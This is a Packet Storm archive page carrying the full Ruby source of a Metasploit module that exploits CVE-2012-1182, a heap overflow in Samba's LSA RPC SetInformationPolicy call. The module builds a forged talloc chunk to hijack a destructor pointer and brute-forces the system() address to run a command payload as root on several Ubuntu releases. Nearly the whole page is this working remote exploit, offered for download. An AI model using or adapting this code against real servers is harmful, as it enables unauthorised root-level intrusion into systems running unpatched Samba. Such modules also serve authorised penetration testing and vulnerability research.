exploit the possibilities

Samba SetInformationPolicy AuditEventsInfo Heap Overflow

Samba SetInformationPolicy AuditEventsInfo Heap Overflow
Posted Sep 28, 2012
Authored by unknown, Blasty, sinn3r, juan vazquez | Site metasploit.com

This Metasploit module triggers a vulnerability in the LSA RPC service of the Samba daemon because of an error on the PIDL auto-generated code. Making a specially crafted call to SetInformationPolicy to set a PolicyAuditEventsInformation allows to trigger a heap overflow and finally execute arbitrary code with root privileges. The module uses brute force to guess the system() address and redirect flow there in order to bypass NX. The start and stop addresses for brute forcing have been calculated empirically. On the other hand the module provides the StartBrute and StopBrute which allow the user to configure his own addresses.

tags | exploit, overflow, arbitrary, root
advisories | CVE-2012-1182, OSVDB-81303
MD5 | 9fe748ff6a579ca40cd64088d23c1d29

Samba SetInformationPolicy AuditEventsInfo Heap Overflow

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB
include Msf::Exploit::Brute

def initialize(info = {})
super(update_info(info,
'Name' => 'Samba SetInformationPolicy AuditEventsInfo Heap Overflow',
'Description' => %q{
This module triggers a vulnerability in the LSA RPC service of the Samba daemon
because of an error on the PIDL auto-generated code. Making a specially crafted
call to SetInformationPolicy to set a PolicyAuditEventsInformation allows to
trigger a heap overflow and finally execute arbitrary code with root privileges.

The module uses brute force to guess the system() address and redirect flow there
in order to bypass NX. The start and stop addresses for brute forcing have been
calculated empirically. On the other hand the module provides the StartBrute and
StopBrute which allow the user to configure his own addresses.
},
'Author' =>
[
'Unknown', # Vulnerability discovery
'blasty', # Exploit
'sinn3r', # Metasploit module
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2012-1182'],
['OSVDB', '81303'],
['BID', '52973'],
['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-069/']
],
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
'Space' => 811,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic bash telnet python perl',
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' =>
[
# gdb /usr/sbin/smbd `ps auwx | grep smbd | grep -v grep | head -n1 | awk '{ print $2 }'` <<< `echo -e "print system"` | grep '$1'
['2:3.5.11~dfsg-1ubuntu2 and 2:3.5.8~dfsg-1ubuntu2 on Ubuntu 11.10',
{
'Offset' => 0x11c0,
'Bruteforce' =>
{
# The start for the final version should be 0xb20 aligned, and then step 0x1000.
'Start' => { 'Ret' => 0x00230b20 },
'Stop' => { 'Ret' => 0x22a00b20 },
'Step' => 0x1000,
}
}
],
['2:3.5.8~dfsg-1ubuntu2 and 2:3.5.4~dfsg-1ubuntu8 on Ubuntu 11.04',
{
'Offset' => 0x11c0,
'Bruteforce' =>
{
# The start should be 0x950 aligned, and then step 0x1000.
'Start' => { 'Ret' => 0x00230950 },
'Stop' => { 'Ret' => 0x22a00950 },
'Step' => 0x1000,
}
}
],
['2:3.5.4~dfsg-1ubuntu8 on Ubuntu 10.10',
{
'Offset' => 0x11c0,
'Bruteforce' =>
{
# The start should be 0x680 aligned, and then step 0x1000.
'Start' => { 'Ret' => 0x00230680 },
'Stop' => { 'Ret' => 0x22a00680 },
'Step' => 0x1000,
}
}
]
],
'DisclosureDate' => 'Apr 10 2012',
'DefaultTarget' => 0,
))

register_options([
OptInt.new("StartBrute", [ false, "Start Address For Brute Forcing" ]),
OptInt.new("StopBrute", [ false, "Stop Address For Brute Forcing" ])
], self.class)

end

def exploit
if target.bruteforce?
bf = target.bruteforce

if datastore['StartBrute'] and datastore['StartBrute'] > 0
bf.start_addresses['Ret'] = datastore['StartBrute']
end

if datastore['StopBrute'] and datastore['StopBrute'] > 0
bf.stop_addresses['Ret'] = datastore['StopBrute']
end

if bf.start_addresses['Ret'] > bf.stop_addresses['Ret']
raise ArgumentError, "StartBrute should not be larger than StopBrute"
end
end
super
end

def check
begin
connect()
smb_login()
disconnect()

version = smb_peer_lm().scan(/Samba (\d\.\d.\d*)/).flatten[0]
minor = version.scan(/\.(\d*)$/).flatten[0].to_i
print_status("Version found: #{version}")

return Exploit::CheckCode::Appears if version =~ /^3\.4/ and minor < 16
return Exploit::CheckCode::Appears if version =~ /^3\.5/ and minor < 14
return Exploit::CheckCode::Appears if version =~ /^3\.6/ and minor < 4

return Exploit::CheckCode::Safe

rescue ::Exception
return CheckCode::Unknown
end
end

def brute_exploit(target_addrs)

print_status("Trying to exploit Samba with address 0x%.8x..." % target_addrs['Ret'])
datastore['DCERPC::fake_bind_multi'] = false
datastore['DCERPC::max_frag_size'] = 4248

pipe = "lsarpc"

print_status("Connecting to the SMB service...")
connect()
print_status("Login to the SMB service...")
smb_login()

handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"])
print_status("Binding to #{handle} ...")
dcerpc_bind(handle)
print_status("Bound to #{handle} ...")

stub = "X" * 20

cmd = ";;;;" # padding
cmd << "#{payload.encoded}\x00" # system argument
tmp = cmd * (816/cmd.length)
tmp << "\x00"*(816-tmp.length)

stub << NDR.short(2) # level
stub << NDR.short(2) # level 2
stub << NDR.long(1) # auditing mode
stub << NDR.long(1) # ptr
stub << NDR.long(100000) # r-> count
stub << NDR.long(20) # array size
stub << NDR.long(0)
stub << NDR.long(100)
stub << rand_text_alpha(target['Offset'])
# Crafted talloc chunk
stub << 'A' * 8 # next, prev
stub << NDR.long(0) + NDR.long(0) # parent, child
stub << NDR.long(0) # refs
stub << NDR.long(target_addrs['Ret']) # destructor # will become EIP
stub << NDR.long(0) # name
stub << "AAAA" # size
stub << NDR.long(0xe8150c70) # flags
stub << "AAAABBBB"
stub << tmp # pointer to tmp+4 in $esp
stub << rand_text(32632)
stub << rand_text(62000)

print_status("Calling the vulnerable function...")

begin
call(dcerpc, 0x08, stub)
rescue Rex::Proto::DCERPC::Exceptions::NoResponse, Rex::Proto::SMB::Exceptions::NoReply, ::EOFError
print_status('Server did not respond, this is expected')
rescue Rex::Proto::DCERPC::Exceptions::Fault
print_error('Server is most likely patched...')
rescue => e
if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
print_status('Server disconnected, this is expected')
end
end

handler
disconnect
end

# Perform a DCE/RPC Function Call
def call(dcerpc, function, data, do_recv = true)

frag_size = data.length
if dcerpc.options['frag_size']
frag_size = dcerpc.options['frag_size']
end
object_id = ''
if dcerpc.options['object_call']
object_id = dcerpc.handle.uuid[0]
end
if options['random_object_id']
object_id = Rex::Proto::DCERPC::UUID.uuid_unpack(Rex::Text.rand_text(16))
end

call_packets = make_request(function, data, frag_size, dcerpc.context, object_id)
call_packets.each { |packet|
write(dcerpc, packet)
}

return true if not do_recv

raw_response = ''

begin
raw_response = dcerpc.read()
rescue ::EOFError
raise Rex::Proto::DCERPC::Exceptions::NoResponse
end

if (raw_response == nil or raw_response.length == 0)
raise Rex::Proto::DCERPC::Exceptions::NoResponse
end


dcerpc.last_response = Rex::Proto::DCERPC::Response.new(raw_response)

if dcerpc.last_response.type == 3
e = Rex::Proto::DCERPC::Exceptions::Fault.new
e.fault = dcerpc.last_response.status
raise e
end

dcerpc.last_response.stub_data
end

# Used to create standard DCERPC REQUEST packet(s)
def make_request(opnum=0, data="", size=data.length, ctx=0, object_id = '')

opnum = opnum.to_i
size = size.to_i
ctx = ctx.to_i

chunks, frags = [], []
ptr = 0

# Break the request into fragments of 'size' bytes
while ptr < data.length
chunks.push( data[ ptr, size ] )
ptr += size
end

# Process requests with no stub data
if chunks.length == 0
frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(3, opnum, '', ctx, object_id) )
return frags
end

# Process requests with only one fragment
if chunks.length == 1
frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(3, opnum, chunks[0], ctx, object_id) )
return frags
end

# Create the first fragment of the request
frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(1, opnum, chunks.shift, ctx, object_id) )

# Create all of the middle fragments
while chunks.length != 1
frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(0, opnum, chunks.shift, ctx, object_id) )
end

# Create the last fragment of the request
frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(2, opnum, chunks.shift, ctx, object_id) )

return frags
end

# Write data to the underlying socket
def write(dcerpc, data)
dcerpc.socket.write(data)
data.length
end

end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

September 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    1 Files
  • 2
    Sep 2nd
    38 Files
  • 3
    Sep 3rd
    30 Files
  • 4
    Sep 4th
    15 Files
  • 5
    Sep 5th
    12 Files
  • 6
    Sep 6th
    17 Files
  • 7
    Sep 7th
    3 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    24 Files
  • 10
    Sep 10th
    22 Files
  • 11
    Sep 11th
    22 Files
  • 12
    Sep 12th
    15 Files
  • 13
    Sep 13th
    5 Files
  • 14
    Sep 14th
    2 Files
  • 15
    Sep 15th
    1 Files
  • 16
    Sep 16th
    11 Files
  • 17
    Sep 17th
    14 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close